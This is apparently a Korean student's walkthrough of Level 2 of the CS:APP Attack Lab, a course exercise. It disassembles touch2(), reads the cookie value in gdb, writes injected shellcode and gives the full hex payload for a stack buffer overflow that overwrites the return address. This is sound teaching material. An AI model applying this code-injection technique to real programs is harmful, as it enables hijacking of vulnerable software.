이번에는 touch2()
라는 함수를 실행시켜야 한다. 그런데 level 1과 달리 그냥 실행시키기만 해서 끝이 아니고, 다음 코드가 정상적으로 끝날 수 있도록 val이 cookie와 일치하도록 해주어야 한다.
우선 cookie
가 어디 저장되어 있는 값인지를 확인해봐야겠다.
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be e8 30 40 00 mov $0x4030e8,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 6b 04 00 00 callq 401c8d <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 10 31 40 00 mov $0x403110,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 0d 05 00 00 callq 401d4f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>
calling convention에 의해서 %edi
가 아마 val
을 가리키는 레지스터일 것이라고 생각할 수 있다. 0x4017fc
의 instruction을 보면 0x6044e4
와 %edi
를 비교하고 있으니 0x6044e4
에 저장되어 있는 값이 cookie
일 것이다. 마침 옆에 친절하게 주석으로 알려주고 있기도 하다.
우선 gdb를 실행하고 저 위치의 메모리 값을 확인해보자.
저게 바로 cookie
값이라고 한다. 이제 우리가 할 일은 val
을 cookie
값과 같게 맞춰주고, touch2()
를 실행하는 것이다. Level 1처럼 return address를 덮어쓰는 정도로는 안되고, exploit code를 삽입해서 실행시켜야 할 것 같다.
exploit code는 다음과 같은 동작을 수행해야 한다.
movl $0x59b997fa, %edi # %edi에 cookie값을 대입
retq
test.s
라는 파일에 위 코드를 저장하고, gcc -c test.s
를 실행해 machine code로 바꿔주자. machine code는 열 수가 없으므로 다시 objdump -d test.o
를 해준다.
/workspaces/CSAPP/attacklab (main) $ objdump -d test.o
test.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: bf fa 97 b9 59 mov $0x59b997fa,%edi
5: c3 retq
이제 저 코드가 실행되도록 해주면 된다. Level 1에서 stack pointer %rsp
는 0x5561dc78
이었으므로, getbuf()
를 반환할 때의 return address를 저걸로 바꿔주고 입력 문자열을 다음과 같이 구성하면, getbuf()
에서 retq
를 실행했을 때 bf fa ...
로 가버리게 된다.
// ans.txt
bf fa 97 b9 59 c3 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55
./hex2raw < ans.txt > ans1.txt
로 이를 raw 포맷으로 바꿔준다. gdb를 실행시켜 stack pointer가 어떻게 되는지 확인해보자.
getbuf
가 retq
를 하기 직전 stack frame의 상태이다. 우리가 삽입한 exploit code의 주소를 잘 가리키고 있다. 이 상태에서 retq
를 하게 되면 stack pointer (%rsp
)는 8만큼 증가하므로, 0x00000009
로 향하게 된다. 당연히 이 주소에는 instruction이 없으므로 프로그램은 에러를 일으킨다. 따라서 이 부분에도 적절하게 주소를 넣어주어야 한다. touch2()
의 주소인 00000000004017ec
를 넣어주자.
// ans.txt
bf fa 97 b9 59 c3 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
ec 17 40 00 00 00 00 00
다시 ./hex2raw
를 이용해 문자열로 바꿔준 후 넣어주면 정답이다.